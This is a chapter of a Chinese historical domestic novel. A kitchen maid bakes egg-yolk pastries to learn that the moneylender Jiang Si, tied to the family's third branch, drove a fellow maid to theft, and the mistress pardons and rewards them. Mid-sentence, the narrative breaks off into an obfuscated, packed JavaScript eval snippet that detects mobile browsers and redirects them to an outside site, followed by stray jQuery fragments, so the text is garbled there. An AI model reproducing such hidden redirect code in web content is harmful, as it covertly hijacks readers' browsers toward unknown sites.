出了喜姐儿家，翠姐儿犹带泪痕，拉着胡姣的袖子道：“椒姐儿，你素来最有主意了，你说喜姐儿这事儿还有转圜的余地么？”
胡姣其实心里也没底。偷盗主家财物放在哪里都是大忌，又人赃并获，几乎已是死局。可她却不能这样对翠姐儿说，徒添她担忧，于是只道：“翠姐姐，你先别急，这事……容我晚上回去想想，看能不能寻出个法子来。”
翠姐儿本就不是个有主意的，此刻也只能将希望全寄托在胡姣身上。
胡姣心事重重地回到家中。刘氏已做好了简单的晚食，一锅稀粥，一碟咸菜，两个切开的咸鸭蛋并几个杂面饼子。见女儿面色不豫，连豆哥儿耍宝都没能让她展颜，刘氏便知定是出了什么事。
果然，饭后，胡姣便将喜姐儿偷盗被抓，要被严惩的事说了。
刘氏听了，亦是唏嘘不已，骂了几句“那杀千刀的爹不是东西”，又说这事已然捅破了天，她还能有什么办法？别搭救不成，把自己也搭进去。
胡姣便道，她也知道这事艰难，可如果什么都不做，她心里实在难安。
刘氏知晓自家闺女虽然面上温顺，待谁都客客气气，可骨子里却极有主张，便也不再阻拦，只让她小心行事。
这一夜，胡姣辗转反侧，脑子里反复思量着喜姐儿的事。直到天色微明，她忽然想起一个人来——那位出手阔绰、消息灵通的郑大官人，他家是开赌坊的，三教九流认识的人多，或许能打听到些什么。
主意既定，胡姣立刻起身，轻手轻脚地来到灶屋。求人办事，如何能够空着手？眼下，她就准备做一份拿得出的礼物——蛋黄酥。
咸鸭蛋磕开，小心取出蛋黄，喷上少许酒去腥，放入小灶眼里微微烤出油香。接着，将猪油与温水倒入面粉中，揉搓成水油皮；另取一些面粉，加入猪油，揉成油酥。两个团面都盖上湿布在一旁醒发。
等待的功夫，胡姣又赶紧煮上红豆，熟透之后过筛成细腻的豆沙，再趁热拌上适量的饴糖。接着将豆沙分成大小均匀的等份，然后包上烤好的咸蛋黄。
此时，面也醒好了。胡姣便将油酥包入水油皮中，擀开、卷起、再擀开，如此反复几次，做出层层叠叠的酥皮来。然后包入豆沙蛋黄馅，整成圆球状，表面再刷上一层蛋黄液，撒上几粒黑芝麻。
小泥炉生起火，架上小铁锅，倒入少许油，小心地将蛋黄酥放入锅内，用极小的火慢慢烙烤。又模仿烤炉的工作模式，在铁锅上方放上一个平底的鏊子，鏊子上也放上炭，形成上下火。
不多时，浓郁的油香、蛋香和豆沙的甜香混合在一起，弥漫开来。
这时已经天光大亮，豆哥儿揉着眼睛从屋里出来，闻着味儿，忙问是什么东西。
胡姣见他馋猫儿似的，便给他和春儿各留了一个，剩下的用油纸包好放进一个小竹篮里。
然后说有件要紧事需他帮忙，又细细交代了一番。
“今日你去市集，寻机找到那位常来买点心的郑大官人，将这点心送给他，就说是我新琢磨的，请他品鉴。然后，这般问他……”
胡姣自然没将喜姐儿的事说出来，只假托是听来的一个故事，让豆哥儿问问郑大官人是否知道这个姓姜的，听说是专放官吏债的，不知究竟是哪路神仙，以后也好躲着些。
豆哥儿虽年纪小，却机灵得很，将姐姐的话一字不落地记在心里，又保证一定办好。
当下吃了早食，豆哥儿便收拾好东西，如同往常那般与春儿一起往南市口走去。只是等了半天却不见郑大官人来，于是他便让春儿先照料摊子，自己则去市集其他地方寻找。好在，郑大官人果真是个爱吃的，没一会儿他就在一家香气四溢的羊肉胡饼摊前找到了他。
豆哥儿上前，先是问好，接着便奉上点心。
郑大官人打开油纸包，拿起一个蛋黄酥送入口中，酥皮触齿即碎，咸甜交织，满口生香，不由得满意地眯了眯眼。
豆哥儿觑准时机，将姐姐教的话说了一遍。
郑大官人思索片刻，然后说他赌坊里倒是常清理些“捞偏门”的货色，不许他们在里头害人。其中有个混号叫“姜四”的，专在城里几家赌坊转悠，盯着那些输红了眼、又借不来钱的人，趁机放贷，利钱极高，他的伙计赶过好几回。
接着，似是想起什么，又道：“这姜四仿佛和本县陈相公家还有些拐弯抹角的关系，常以陈府舅爷自居，也不知是真是假。”
豆哥儿得了消息连忙道谢。郑大官人却摆摆手，称不过是举手之劳，倒是偏了他家的好点心，又让回去告诉他姐姐，以后有了好吃食只管来找，银钱不是问题。
时近中午，带来的点心卖完了，豆哥儿便同春儿收拾好东西回家。趁着大厨房的休息时间，将打听到的话一字不落地告诉了胡姣。
姜四？陈相公家？舅爷？
胡姣脑子里如同电光石火般，瞬间将几条线索串联起来。是了，陈三郎的生母便是姓姜，这姜四，八成就是姜小娘的娘家兄弟，仗着三房这层关系，在外头狐假虎威。
一切似乎都说得通了！
“豆哥儿，你立了大功了！”
胡姣激动地搂了弟弟一下。豆哥儿不好意思地红了脸。
可是，光有线索还不够，她还得找个帮手。
只是思忖片刻，胡姣心中就有了决断。这件事，必须告诉张婆子。于公，张婆子是大厨房管事，库房失窃，有责任查清原委；于私，喜姐儿毕竟是跟了她两三年的老人，估计也不希望看见她出事。
于是便寻了个空儿，找到张婆子，将喜姐儿偷窃的原委说了一通。
她起先还不为所动，待到胡姣说起放债的姜四与三房有牵连时，眼睛一转。
若真如这丫头所说，喜姐儿是被逼无奈，且背后还可能牵扯到三房的人……那这事儿的性质就不同了！
且她待下虽严苛，却并非铁石心肠。喜姐儿跟了她两三年，平日干活儿从无错漏，性子也隐忍，便是养只猫儿狗儿，时日久了也有几分感情。
张婆子脸色变了又变，最终答应让胡姣跟着她去春晖堂。又叮嘱她到了地方，不要擅自开口，一切看她眼色行事。
胡姣心头一喜，连忙应声。
二人一前一后出了大厨房，径直往二房主院春晖堂而去。
到了春晖堂院门前，早有守门的小丫鬟进去通传。不多时，赵妈妈便走了出来，见到张婆子和她身后的胡姣，脸上露出几分诧异。
“张婆子，你这个时辰过来，可有什么事？”
张婆子上前一步，告知先前大厨房库房失窃一事另有内情，还要请赵妈妈通禀娘子一声。
赵妈妈眉头皱起，似乎有些为难：“娘子方才说起这事还动了气，这会儿子刚歇下……罢了，你们且等等，我再去问问。”
过了一会儿，赵妈妈出来，将二人引至西次间外等候。又过了约莫一炷香时间，才听得里面传来梅娘子的声音：“让她们进来吧。”
屋内，梅娘子正坐在窗下的贵妃榻上，手边小几上放着一盏喝了一半的安神汤，脸色不豫。
“赵妈妈，我不是说了，大厨房的事既已人赃并获，按规矩发落便是，怎么又来回我？是嫌我还不够烦心么？”梅娘子语气冷淡，对着身旁的赵妈妈道。
赵妈妈忙赔笑道：“娘子息怒，张婆子说此事另有内情，怕处置不当，反伤了府里和气，故而不敢自专，定要求见娘子陈情。”
梅娘子看向张婆子：“哦，另有内情？张妈妈，你倒是说说看。”
张婆子便将喜姐儿家中困境、其父嗜赌欠债、以及胡姣打听到的关于姜四的消息，捡那要紧的禀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209810|180140||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
报了一番。
梅娘子听着听着便蹙起了眉。
三房，又是三房！她那妯娌本就仗着老太太的势，屡屡挑衅分权，如今连三房亲戚的手都伸到大厨房里，逼着她的人偷盗府中物资了，这若是闹出人命，传扬出去，陈家的脸面还要不要？老太爷和二郎的官声还要不要？
还好此事发现得早，尚未闹大，反倒是可以拿来做一番文章……
她沉吟片刻，心中已有计较。
“既是如此，倒是个可怜见的。张妈妈，喜姐儿暂且不必从花名册上除名，先让她在家养伤吧。赵妈妈，去取五百钱，再包些药材，让张妈妈带给她，就说是府里赏的，让她且安心将养。”
张婆子和胡姣闻言，心中大喜，连忙跪下磕头：“多谢娘子恩典！娘子仁善！”
梅娘子又目光落在胡姣身上，眼含赞赏：“好个丫头，倒是个机灵有心胸的，叫什么名字？在大厨房做什么差事？”
胡姣忙恭敬回道：“回娘子的话，奴婢姓胡，叫椒姐儿，如今在大厨房灶下烧火搬柴。”
赵妈妈觑着梅娘子的脸色，在一旁笑着补充道：“娘子，这椒姐儿的爹，便是常年在您陪嫁田庄上打理事务的胡舫。前次庄头来回话，还夸他做事勤勉踏实呢。”
梅娘子恍然，点点头，脸上也露出笑意：“原来是他家的女孩儿。难怪瞧着稳重懂事。今日这事，你察访有功，也该赏。赵妈妈，再去取两碟时新果子，并三百钱，一起赏了她。”
胡姣与张婆子二人领完东西，千恩万谢地出了春晖堂。
胡姣要将那三百钱孝敬给张婆子，张婆子哪里肯要，还道今儿这事多亏了她机灵，不然还不知要惹出多大的祸事来。
胡姣忙道“妈妈言重了”，又说若非妈妈肯信她，又担着风险同她一道来见娘子，这事儿也不能这么顺利。
张婆子见她言辞谦卑，心中更添满意，又勉励几句，便自去料理后续事宜。
胡姣捧着赏钱和果子，也觉得心中一块大石终于落地。
另一边，梅娘子打发走二人后，便吩咐赵妈妈找几个得力的心腹家人去查那姜四的底细。接着，又让人精心炖了一盅铁皮石斛银耳羹，待赵妈妈送回消息后，便让小丫头用食盒装了，带着往陈老爹日常起居的书斋而去。
陈老爹正临帖，见她突然前来，还有些诧异：“二郎家的，你怎么过来了？”
梅娘子面带笑容，亲自将羹汤奉上：“儿媳新得了方子，试着做了盏羹汤，想着父亲近日操劳，特送来请您尝个鲜。”
然后，便借着解说羹汤做法，提起了大厨房之事，语气中满是忧虑。
“幸而底下人机警，查出了原委，否则若真闹出人命，或是被那起子小人拿住把柄，攀扯到府上……如今官人眼看考评在即，若是此时节传出家风不谨、纵容亲眷逼害下人的名声，只怕于他官声有碍，甚至举家都要受牵连。儿媳想着，真是后怕不已。”
陈老爹听完，脸色渐渐沉了下来。他虽不常过问内宅琐事，但只要关乎儿子仕途和家族声誉，那便是头等大事。他毕竟做过几年捐官，亦深知官场险恶，即便有时只是一点小小的家宅纷争，也可能被对手无限放大，成为攻讦的利器。
于是心中也是一阵后怕，一方面庆幸二儿媳出身高门，见识不凡，处理得当，将祸患消弭于无形；另一方面，则是涌起对三房的强烈不满。三郎家的那个，平日里掐尖要强、争权夺利也就罢了，如今三房亲眷做出这等败德害理、危及家门之事，不但不想着描补，反倒闹得人尽皆知，差点无法收场。
待梅娘子走后，陈老爹越想越气，猛地将毛笔拍在桌上，墨汁溅在上好的宣纸上，污了一片。他沉声喝道：“来人！去把三爷给我叫来！”
小厮见老爷面色不善，不敢怠慢，连忙飞奔而去。